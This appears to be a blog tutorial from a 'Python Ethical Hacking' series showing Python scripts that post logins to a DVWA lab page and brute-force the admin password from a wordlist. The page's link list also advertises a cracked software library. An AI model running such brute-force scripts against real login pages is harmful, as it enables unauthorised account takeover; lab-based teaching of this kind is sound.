Python Ethical Hacking - WEB PENETRATION TESTING(5)
2024-09-08 04:30:15
Guessing Login Information on Login Pages
Our target website: http://10.0.0.45/dvwa/login.php
#!/usr/bin/env python import requests target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "dfdfddfd", "password": "", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())
Execute the Python Script.
#!/usr/bin/env python import requests target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "password", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())
#!/usr/bin/env python import requests target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "", "Login": "submit"} with open("password.list", "r") as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict["password"] = word
response = requests.post(target_url, data=data_dict)
if "Login failed" not in response.content.decode():
print("[+] Got the password --> " + word)
exit() print("[+] Reached end of line.")
最新文章
- ExtJs服务器端代理(Ajax)
- YII 的源码分析(二)
- Android 学习第16课,java 包、类等相关的一些基础知识
- 我所认识的javascript正则表达式
- java中i=i++字节码分析
- codeforces 567D.One-Dimensional Battle Ships 解题报告
- 查看Linux分区格式
- DotNetBar v12.5.0.2 Fully Cracked
- BufferedWriter和BufferedReader使用方法
- 被拒--悲剧之ORA-01017: invalid username/password; logon denied 错误
- Python:鲜为人知的功能特性(下)
- Linux每天一个命令:iostat
- Linux文件属性有哪些?(共十位)
- pandas merge
- 关于RabbitMQ关键性问题的总结
- nssm和AlwaysUp来包装exe文件为windows服务
- 更快的方式实现 PHP 数组去重
- SharePoint 用户配置文件服务
- hdu2844Coins(多重背包模板)
- Python获取时间范围内日期列表和周列表的函数